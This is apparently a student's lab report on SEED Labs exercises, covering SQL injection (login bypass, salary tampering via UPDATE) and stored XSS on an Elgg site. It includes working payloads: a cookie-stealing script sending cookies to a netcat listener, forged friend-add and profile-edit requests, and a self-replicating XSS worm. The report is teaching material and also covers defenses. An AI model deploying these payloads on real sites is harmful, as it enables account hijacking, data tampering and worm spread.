20253917 2025-2026-2 《网络攻防实践》实践10报告

SQL注入

一、SELECT注入登录

进入SEEDLAB Ubuntu 16.04 在浏览器输入以下网址并进入(http://www.seedlabsqlinjection.com/)也可以在火狐浏览器的书签中找到
image
这是一个登陆界面,我们需要通过注入的方式登录到该管理系统中去。
注入方式如下在Username栏输入admin'# 对于用户密码而言因为'#特殊字符导致后方sql语句被注释掉,所以只要找到admin用户即可登陆成功不需要判定密码
image
具体原理如下:
查看 /var/www/SQLInjection/unsafe_home.php 中的关键SQL语句
image

问题出在:用户输入的用户名 $input_uname 直接被拼接到SQL语句中,没有经过任何过滤或参数化处理。

// create a connection
      $conn = getDB();
      // Sql query to authenticate the user
      $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";
      if (!$result = $conn->query($sql)) {
        echo "</div>";
        echo "</nav>";
        echo "<div class='container text-center'>";
        die('There was an error running the query [' . $conn->error . ']\n');
        echo "</div>";
      }

最终拼接成的SQL语句变成了:

SELECT ... WHERE name= 'admin'#' AND Password='...'

登陆成功后的界面如下图所示可以看到详细的员工信息
image
由于该登录SQL注入的存在我们可以登录以下所有的账户(所有账户首字母均小写)
以下我们使用alice的账户来进行测试,使用同样的方法登录alice的账户
image
image

二、UPDATE 更改信息

其个人信息编辑界面如下所示:
image

我们查看他的源码/var/www/SQLInjection/unsafe_edit_frontend.php

  $conn = getDB();
  // Don't do this, this is not safe against SQL injection attack
  $sql="";
  if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
  }else{
    // if passowrd field is empty.
    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
  }
  $conn->query($sql);
  $conn->close();
  header("Location: unsafe_home.php");
  exit();

该源码依旧是直接将用户输入拼接在sql语句中并没有做过滤因此存在着注入的漏洞,
所以我们可以尝试着构造一下输入来修改我们的个人薪资。
这里的eid和salary,字段都可以通过之前登录的漏洞获取到

alice', salary='20253917' WHERE Eid='10000'#

image

成功将我的薪资改为了我的学号
image

XSS攻击

XSS(跨站脚本攻击) 是指攻击者将恶意脚本注入到看似可信的网站中,当其他用户浏览该页面时,脚本会在其浏览器中执行。主要分为三类:反射型(通过URL传递恶意代码)、存储型(恶意代码存入数据库,如评论区)和DOM型(修改页面DOM结构)。攻击者可窃取Cookie、会话令牌或篡改页面内容。防御核心是对用户输入进行严格过滤与转义,并启用内容安全策略(CSP)。
实验过程如下:
进入SEEDLAB Ubuntu 16.04 在浏览器输入以下网址并进入(http://www.xsslabelgg.com/)
image
该实验的具体账户以及密码如下:

用户 密码
Alice seedalice
Boby seedboby
Samy seedsamy
Admin seedelgg

我们首先使用Alice账户来进行登录登陆成功后我已经修改了账户名为我的学号
image
我们接下来在编辑个人信息界面中的个人描述可以输入我们的脚本来进行测试输入后保存即可

<script>alert('XSS')</script>

image
保存完成后就已经出现了XSS的JS弹窗证明我们测试成功了,接下来把他更改成我们的学号,当然这属于存储型的XSS任何人访问alice的主界面都会弹出如下的窗口
image
以同样的方式我们也可以获取访问个人信息的用户个人cookie

<script>alert(document.cookie+"\n20253917");</script>

image
至此我们可以正常的借助XSS来获取用户的cookie,我们可以借助img请求来访问我们的链接,同时将用户的cookie发送给我们的服务器
我们在seedubuntu中启动端口监听

nc -l 12138 -v

攻击方式如下:

<script> document.write('<img src=http://127.0.0.1:12138?cookies=' + document.cookie + '>'); </script>

可以看到我们收到了个人的cookie信息

image

自动加好友脚本
首先我们需要分析该网站加好友的具体请求逻辑
首先以boby为例,搜索boby打开他的个人主页,
image
在鼠标放置在add friend的时候左下角弹出了具体的链接以及请求格式
需要的参数为id,以及_elgg_ts与_elgg_token,对于_elgg_ts与_elgg_token为安全校验,会使用用户的登录信息,我们可以使用xss漏洞来获得
image
_elgg_ts与_elgg_token来源如下因此我们可以编写脚本了
image
具体原理就是,利用XSS获取用户的_elgg_ts与_elgg_token,拼接请求,使用Ajax向服务器发送验证请求
具体的_elgg_ts可以在该网页js代码中找到存放位置:
image
也就是elgg.security.token中,alice个人用户的id为44
因此我们的脚本可以编辑如下:
XSS 脚本执行时:可能被注入在页面顶部、或 DOM 尚未解析完成,Elgg 的 JavaScript 还未初始化。
解决方案:等待 elgg 可用后再执行,
所以我们使用document.addEventListener等他其加载完成即可

<script>
document.addEventListener("DOMContentLoaded", function() {
console.log(elgg)
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
alert(sendurl)
var Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
});

</script>

该脚本过长没有办法放入最开始的文本框中,这里我们使用aboutme注意关闭富文本输入,富文本会将原有特殊字符进行转义处理无法触发,填写如下图所示:然后保存即可
image

接下来我们使用管理员账户进行测试在初始情况下管理员没有任何的好友,我们接下来搜索alice并且进入到alice的个人主页去

image

利用 XSS 修改受害者个人资料
具体请求方式获取与上一个实验一致
脚本如下所示
if(elgg.session.user.guid!=samyGuid) 主要是为了防止自身主页被修改

<script>
document.addEventListener("DOMContentLoaded", function() {
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>20253917</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid) 
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
});

</script>

登录boby的账户访问alice的页面内容后在重新查看自己的个人资料发现已经修改
image
编写 XSS 蠕虫
XSS蠕虫原理与上两个实验基本一致,对于蠕虫而言我们要做的就是不断的对自身进行复制
脚本如下:

<script id="worm" type="text/javascript">
    document.addEventListener("DOMContentLoaded", function() {
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>20253917"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    })</script>

我们登录samy的账户进行测试初始状态下其页面正常:
image
我们访问alice个人信息界面后再回来看发现已经被修改了
image
接下来我们登陆管理员admin的账户,先检查一下个人信息是正常的空内容状态
image
接着我们访问samy的个人主页查看蠕虫是否已经复制,个人界面已被修改我们可以使用查看源代码功能找到插入的script脚本
image
image

XSS 防御
lab中使用管理员登陆后右上角账户处拥有管理员界面,我们选择plugs菜单找到HTMLawed这里我给该插件置顶了
image
灰色为开启状态,黑色为关闭状态
在开启该防护后回到alice个人界面发现xss攻击失效了
image

3.学习中遇到的问题及解决

问题描述:在进行UPDATE语句注入修改薪资时,我尝试输入alice', salary='20253917' WHERE Eid='10000'#,但页面提示更新失败,薪资未被修改。
问题分析:经检查发现,构造的注入语句中字段顺序和格式与原SQL语句不匹配。原SQL语句中的UPDATE字段顺序为nickname、email、address、Password、PhoneNumber,但我构造的语句中没有指定要更新的字段名,直接写入了salary字段,导致SQL语法错误,注入失败。此外,UPDATE注入与SELECT注入不同,需要额外关注SQL语句的原始结构和WHERE条件的闭合方式。
解决方案:在经过多次查阅源码对比后,在构造UPDATE注入语句时应先确保语句的语法正确,字段名与原始UPDATE语句一致,还要确保能正确闭合原始SQL语句以避免语法冲突。最终通过alice', salary='20253917' WHERE Eid='10000'#成功修改薪资。正确的注入语句需要与原SQL语句中的字段顺序兼容,同时使用注释符消除后面的查询条件,避免语法冲突。

4.实践总结

  1. SQL注入部分
    本次SQL注入实验让我深入理解了SQL注入攻击的原理与危害。SELECT注入登录通过构造admin'#这样的恶意输入,利用#注释符将后续密码验证条件注释掉,从而在不知道密码的情况下登录系统。实验中发现漏洞根源在于代码直接将用户输入拼接到SQL语句中,未做任何过滤或参数化处理:$sql = "SELECT ... WHERE name= '$input_uname' and Password='$hashed_pwd'",最终拼接成的语句中的#使得后续的AND Password='...'条件被忽略,造成无条件登录。
    UPDATE语句注入的危害更加隐蔽和严重。通过构造alice', salary='20253917' WHERE Eid='10000'#这样的输入,可以在修改昵称的同时篡改数据库中的薪资字段,甚至修改其他用户的信息。这让我认识到,SQL注入不仅威胁数据的保密性,还严重威胁数据完整性。
    针对SQL注入的攻击手段主要可以分为基于错误信息的注入、基于布尔的盲注和基于时间的盲注等多种手法,但无论是何种方式,其根本原因都是应用程序对用户输入缺乏严格的验证和过滤。
    防御措施方面,实验中尝试修复漏洞时采用了参数化查询(Prepared Statement),即将SQL语句结构与参数数据分离,先预编译SQL模板再绑定具体参数值。参数化查询的核心防御原理在于,数据库引擎在预编译阶段已经确定了SQL语句的结构,用户输入始终被当作数据值传递,不会被解析为SQL语法成分,因此无论攻击者输入何种恶意内容都不会影响SQL语句的结构。绑定参数的同时,还应对用户输入进行严格的长度、类型和格式验证,构建从输入源头到数据库执行的全链路防护。
  2. XSS跨站脚本攻击部分
    XSS攻击实验让我认识到了Web前端安全的重要性。XSS(跨站脚本攻击)的核心危害在于攻击者可以将恶意脚本注入到看似可信的网页中,当其他用户浏览该页面时脚本会在其浏览器中执行。XSS主要分为反射型XSS(恶意代码通过URL参数传递并反射回浏览器执行)、存储型XSS(恶意代码存储在服务器端数据库中,用户访问时加载执行)和DOM型XSS(通过修改页面DOM结构来执行恶意脚本)三类。
    在Elgg平台的实验中,通过在个人简介中嵌入JavaScript脚本,成功实现了弹出警告框、窃取用户Cookie信息、自动添加好友以及利用蠕虫脚本批量感染其他用户等攻击链。其中Cookie窃取的危害尤为突出,攻击者可利用窃取到的会话凭证直接冒充受害者身份登录系统。
    防御XSS攻击需在前端和后端两个层面协同进行。前端应对用户输入进行严格校验和过滤,限制特殊字符的输入;后端在输出到页面时需要进行上下文敏感的编码转义,将<、>、&、"、'等特殊字符转换为HTML实体,防止浏览器将它们解释为HTML或JavaScript代码。此外,启用内容安全策略(CSP) 是最有效的XSS防御手段之一,CSP通过HTTP头部设置白名单机制,允许网站管理员指定哪些外部资源可以被加载和执行,有效阻止内联恶意脚本的执行。
posted @ 2026-05-06 16:23  Maxn_Rain  阅读(101)  评论(0)    收藏  举报